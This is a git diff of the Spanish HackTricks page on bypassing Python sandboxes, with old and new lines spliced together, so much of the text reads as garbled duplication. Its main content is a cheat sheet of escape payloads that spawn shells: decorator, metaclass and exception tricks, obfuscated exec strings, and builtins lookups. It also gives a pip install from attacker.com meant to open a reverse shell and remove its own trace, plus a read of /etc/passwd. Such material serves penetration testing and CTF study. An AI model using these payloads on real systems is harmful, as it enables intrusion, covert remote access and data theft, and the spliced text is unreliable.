Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Páginas interesantes para revisar:** **Páginas interesantes para revisar:**
* [**Trucos de hacking con Pyscript**](pyscript.md) * [**Trucos de hacking de Pyscript**](pyscript.md)
* [**Deserializaciones en Python**](../../pentesting-web/deserialization/#python) * [**Deserializaciones en Python**](../../pentesting-web/deserialization/#python)
* [**Trucos para evadir las cajas de arena de Python**](bypass-python-sandboxes/) * [**Trucos para eludir sandboxes de python**](bypass-python-sandboxes/)
* [**Sintaxis básica de solicitudes web en Python**](web-requests.md) * [**Sintaxis básica de solicitudes web en python**](web-requests.md)
* [**Sintaxis básica y bibliotecas de Python**](basic-python.md) * [**Sintaxis y bibliotecas básicas de python**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Saltar los sandbox de Python # Bypass Python sandboxes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,11 +23,11 @@ Otras formas de apoyar a HackTricks:
*** ***
Estos son algunos trucos para saltar las protecciones de sandbox de Python y ejecutar comandos arbitrarios. Estos son algunos trucos para eludir las protecciones de sandbox de Python y ejecutar comandos arbitrarios.
## Bibliotecas de Ejecución de Comandos ## Bibliotecas de Ejecución de Comandos
Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si puedes importar alguna de estas bibliotecas: Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar alguna de estas bibliotecas:
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -59,23 +60,23 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
Recuerda que las funciones _**open**_ y _**read** pueden ser útiles para **leer archivos** dentro del sandbox de Python y para **escribir código** que podrías **ejecutar** para **burlar** el sandbox. Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro de la sandbox de python y para **escribir algo de código** que podrías **ejecutar** para **eludir** la sandbox.
{% hint style="danger" %} {% hint style="danger" %}
La función **Python2 input()** permite ejecutar código de Python antes de que el programa falle. La función **input()** de Python2 permite ejecutar código python antes de que el programa se bloquee.
{% endhint %} {% endhint %}
Python intenta **cargar bibliotecas desde el directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando módulos Python): `python3 -c 'import sys; print(sys.path)'` Python intenta **cargar bibliotecas del directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando módulos python): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (559).png>) ![](<../../../.gitbook/assets/image (559).png>)
## Burlar el sandbox de pickle con los paquetes de Python instalados por defecto ## Eludir la sandbox de pickle con los paquetes de python instalados por defecto
### Paquetes por defecto ### Paquetes por defecto
Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Ten en cuenta que desde un pickle puedes hacer que el entorno de Python **importe bibliotecas arbitrarias** instaladas en el sistema.\ Ten en cuenta que desde un pickle puedes hacer que el entorno de python **importe bibliotecas arbitrarias** instaladas en el sistema.\
Por ejemplo, el siguiente pickle, al ser cargado, importará la biblioteca pip para usarla: Por ejemplo, el siguiente pickle, al ser cargado, va a importar la biblioteca pip para usarla:
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it #however, the victim doesn't even need to have the library installed to execute it
@ -88,32 +89,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0))) print(base64.b64encode(pickle.dumps(P(), protocol=0)))
``` ```
Para obtener más información sobre cómo funciona pickle, consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) Para más información sobre cómo funciona pickle, consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Paquete Pip ### Paquete Pip
Truco compartido por **@isHaacK** Truco compartido por **@isHaacK**
Si tienes acceso a `pip` o `pip.main()`, puedes instalar un paquete arbitrario y obtener un shell inverso llamando: Si tienes acceso a `pip` o `pip.main()`, puedes instalar un paquete arbitrario y obtener un reverse shell llamando:
```bash ```bash
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
Puedes descargar el paquete para crear el shell inverso aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, cambiar el `setup.py`, y poner tu IP para el shell inverso**: Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, cambiar el `setup.py` y poner tu IP para el reverse shell**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %} {% hint style="info" %}
Este paquete se llama `Reverse`. Sin embargo, fue especialmente diseñado para que cuando salgas del shell inverso, el resto de la instalación falle, de modo que **no dejarás ningún paquete de Python adicional instalado en el servidor** al irte. Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell, el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas.
{% endhint %} {% endhint %}
## Evaluar código Python ## Eval-ing python code
{% hint style="warning" %} {% hint style="warning" %}
Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus) Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus)
{% endhint %} {% endhint %}
Si ciertos caracteres están prohibidos, puedes usar la representación en **hexadecimal/octal/Base64** para **burlar** la restricción: Si ciertos caracteres están prohibidos, puedes usar la **representación hex/octal/B64** para **bypassear** la restricción:
```python ```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -134,7 +135,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
``` ```
### Otras bibliotecas que permiten evaluar código Python ### Otras bibliotecas que permiten evaluar código python
```python ```python
#Pandas #Pandas
import pandas as pd import pandas as pd
@ -157,9 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
``` ```
## Saltándose protecciones a través de codificaciones (UTF-7) ## Bypassing protections through encodings (UTF-7)
En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UTF-7 para cargar y ejecutar código Python arbitrario dentro de un sandbox aparente: En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UFT-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
```python ```python
assert b"+AAo-".decode("utf_7") == "\n" assert b"+AAo-".decode("utf_7") == "\n"
@ -170,11 +171,11 @@ return x
#+AAo-print(open("/flag.txt").read()) #+AAo-print(open("/flag.txt").read())
""".lstrip() """.lstrip()
``` ```
También es posible evadirlo utilizando otras codificaciones, por ejemplo, `raw_unicode_escape` y `unicode_escape`. También es posible eludirlo utilizando otras codificaciones, por ejemplo, `raw_unicode_escape` y `unicode_escape`.
## Ejecución de Python sin llamadas ## Ejecución de Python sin llamadas
Si te encuentras dentro de una cárcel de Python que **no te permite realizar llamadas**, aún existen algunas formas de **ejecutar funciones, código** y **comandos** arbitrarios. Si estás dentro de una cárcel de python que **no te permite hacer llamadas**, todavía hay algunas formas de **ejecutar funciones arbitrarias, código** y **comandos**.
### RCE con [decoradores](https://docs.python.org/3/glossary.html#term-decorator) ### RCE con [decoradores](https://docs.python.org/3/glossary.html#term-decorator)
```python ```python
@ -198,9 +199,9 @@ X = exec(X)
@'__import__("os").system("sh")'.format @'__import__("os").system("sh")'.format
class _:pass class _:pass
``` ```
### RCE creando objetos y sobrecargando ### RCE creando objetos y sobrecarga
Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin necesidad de llamarlos directamente**. Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesitar llamarlos directamente**.
#### RCE con clases personalizadas #### RCE con clases personalizadas
@ -254,9 +255,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### Creación de objetos con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) #### Creando objetos con [metaclases](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Lo fundamental que nos permiten hacer las metaclasses es **crear una instancia de una clase, sin llamar directamente al constructor**, al crear una nueva clase con la clase objetivo como metaclass. Lo clave que las metaclases nos permiten hacer es **crear una instancia de una clase, sin llamar al constructor** directamente, creando una nueva clase con la clase objetivo como metaclase.
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -273,7 +274,7 @@ Sub['import os; os.system("sh")']
``` ```
#### Creando objetos con excepciones #### Creando objetos con excepciones
Cuando se **desencadena una excepción** se **crea un objeto** de la **Excepción** sin necesidad de llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)): Cuando se **dispara una excepción**, se **crea** un objeto de la **Excepción** sin que necesites llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -315,7 +316,7 @@ __iadd__ = eval
__builtins__.__import__ = X __builtins__.__import__ = X
{}[1337] {}[1337]
``` ```
### Leer archivo con la ayuda de builtins y licencia ### Leer archivo con ayuda y licencia de builtins
```python ```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"] __builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help a = __builtins__.help
@ -324,7 +325,7 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b): with (a as b):
pass pass
``` ```
## Funciones integradas ## Builtins
* [**Funciones integradas de python2**](https://docs.python.org/2/library/functions.html) * [**Funciones integradas de python2**](https://docs.python.org/2/library/functions.html)
* [**Funciones integradas de python3**](https://docs.python.org/3/library/functions.html) * [**Funciones integradas de python3**](https://docs.python.org/3/library/functions.html)
@ -334,12 +335,12 @@ Si puedes acceder al objeto **`__builtins__`** puedes importar bibliotecas (ten
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
``` ```
### Sin Builtins ### No Builtins
Cuando no tienes `__builtins__`, no podrás importar nada ni siquiera leer o escribir archivos, ya que **no se cargan todas las funciones globales** (como `open`, `import`, `print`...).\ Cuando no tienes `__builtins__` no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
Sin embargo, **por defecto Python importa muchos módulos en memoria**. Estos módulos pueden parecer inofensivos, pero algunos de ellos **también importan funcionalidades peligrosas** en su interior a las que se puede acceder para lograr incluso **ejecución de código arbitrario**. Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**inofensivos**" cargados para **acceder** a **funcionalidades peligrosas** en su interior. En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
**Python2** **Python2**
```python ```python
@ -363,8 +364,6 @@ import __builtin__
get_flag.__globals__['__builtins__']['__import__']("os").system("ls") get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
``` ```
#### Python3 #### Python3
Python3
```python ```python
# Obtain builtins from a globally defined function # Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html # https://docs.python.org/3/library/functions.html
@ -383,7 +382,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes # Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
``` ```
[**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar decenas/**centenas** de **lugares** donde puedes encontrar los **builtins**. [**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **builtins**.
#### Python2 y Python3 #### Python2 y Python3
```python ```python
@ -391,7 +390,7 @@ get_flag.__globals__['__builtins__']
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls') __builtins__["__import__"]('os').system('ls')
``` ```
### Cargas útiles de funciones integradas ### Cargas útiles incorporadas
```python ```python
# Possible payloads once you have found the builtins # Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read() __builtins__["open"]("/etc/passwd").read()
@ -399,9 +398,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands # There are lots of other payloads that can be abused to execute commands
# See them below # See them below
``` ```
## Globales y locales ## Globals y locals
Revisar las **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder. Comprobar los **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
```python ```python
>>> globals() >>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>} {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -425,7 +424,7 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
[**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar decenas/**centenas** de **lugares** donde puedes encontrar los **globals**. [**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **globals**.
## Descubrir Ejecución Arbitraria ## Descubrir Ejecución Arbitraria
@ -433,7 +432,7 @@ Aquí quiero explicar cómo descubrir fácilmente **funcionalidades más peligro
#### Accediendo a subclases con bypasses #### Accediendo a subclases con bypasses
Una de las partes más sensibles de esta técnica es poder **acceder a las subclases base**. En los ejemplos anteriores esto se hizo usando `''.__class__.__base__.__subclasses__()`, pero hay **otras formas posibles**: Una de las partes más sensibles de esta técnica es poder **acceder a las subclases base**. En los ejemplos anteriores, esto se hizo usando `''.__class__.__base__.__subclasses__()` pero hay **otras formas posibles**:
```python ```python
#You can access the base from mostly anywhere (in regular conditions) #You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__() "".__class__.__base__.__subclasses__()
